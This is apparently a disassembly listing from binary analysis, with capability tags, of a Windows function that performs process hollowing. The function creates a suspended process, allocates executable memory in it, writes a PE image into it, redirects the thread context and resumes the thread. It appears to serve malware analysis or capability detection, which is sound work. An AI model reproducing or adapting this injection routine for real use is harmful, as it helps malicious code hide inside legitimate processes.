Function at 0x653360
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread

Disassembly:
push rbp
sub rsp, 0x150
mov rbp, rsp
mov qword [rbp + 0x58], rbp
mov qword [rbp + 0x160], rcx
mov qword [rbp + 0x170], r8
mov rcx, qword [rbp + 0x170]
call fcn.0040f190
nop
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
movsxd rax, dword [rax + 0x3c]
add qword [rbp + 0xb0], rax
add qword [rbp + 0xb0], 4
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x90], rax
add qword [rbp + 0xb0], 0x14
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x68], rax
add qword [rbp + 0xb0], 0xf0
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0xe0]
mov edx, 0x68
xor r8, r8
call fcn.0040aed0
lea rcx, [rbp + 0xc8]
mov edx, 0x18
xor r8, r8
call fcn.0040aed0
mov dword [rbp + 0xe0], 0x68
mov word [rbp + 0x120], 0
lea rcx, [rbp + 0x170]
call fcn.0040f960
mov rcx, qword [rbp + 0x170]
call fcn.00410340
mov rcx, rax
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0x8000004
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessW
xor ecx, ecx
mov edx, 0x4d0
mov r8d, 0x1000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xc0]
call sub.kernel32.dll_GetThreadContext
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 0x88]
lea rax, [rax + 0x10]
mov qword [rbp + 0x78], rax
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x78]
lea r8, [rbp + 0xb8]
mov r9d, 8
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_ReadProcessMemory
mov rcx, qword [rbp + 0xc8]
xor edx, edx
mov rax, qword [rbp + 0x68]
mov r8d, dword [rax + 0x38]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x80], rax
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x160]
mov rax, qword [rbp + 0x68]
mov r9d, dword [rax + 0x3c]
call fcn.00653340
mov eax, 1
mov rcx, qword [rbp + 0x90]
movzx ecx, word [rcx + 2]
mov dword [rbp + 0x54], ecx
mov dword [rbp + 0x8c], eax
mov ecx, dword [rbp + 0x54]
cmp dword [rbp + 0x8c], ecx
jg 0x6535ee
mov ecx, dword [rbp + 0x54]
sub ecx, eax
add ecx, 1
mov dword [rbp + 0x54], ecx
nop
mov rcx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x148]
mov edx, dword [rdx + 0xc]
lea rdx, [rax + rdx]
mov rax, qword [rbp + 0x160]
mov r8, qword [rbp + 0x148]
mov r8d, dword [r8 + 0x14]
lea r8, [rax + r8]
mov rax, qword [rbp + 0x148]
mov r9d, dword [rax + 0x10]
call fcn.00653340
nop
add qword [rbp + 0x148], 0x28
mov eax, dword [rbp + 0x54]
sub eax, 1
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x54]
test eax, eax
jne 0x653592
nop
mov rax, qword [rbp + 0xc0]
mov rcx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x68]
mov edx, dword [rdx + 0x10]
lea rcx, [rcx + rdx]
mov qword [rax + 0x80], rcx
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x78]
lea r8, [rbp + 0x80]
mov r9d, 8
call fcn.00653340
mov rcx, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xc0]
call sub.kernel32.dll_SetThreadContext
mov rcx, qword [rbp + 0xd0]
call sub.kernel32.dll_ResumeThread
nop
lea rcx, [rbp + 0x170]
call fcn.0040efc0
lea rsp, [rbp + 0x150]
pop rbp
ret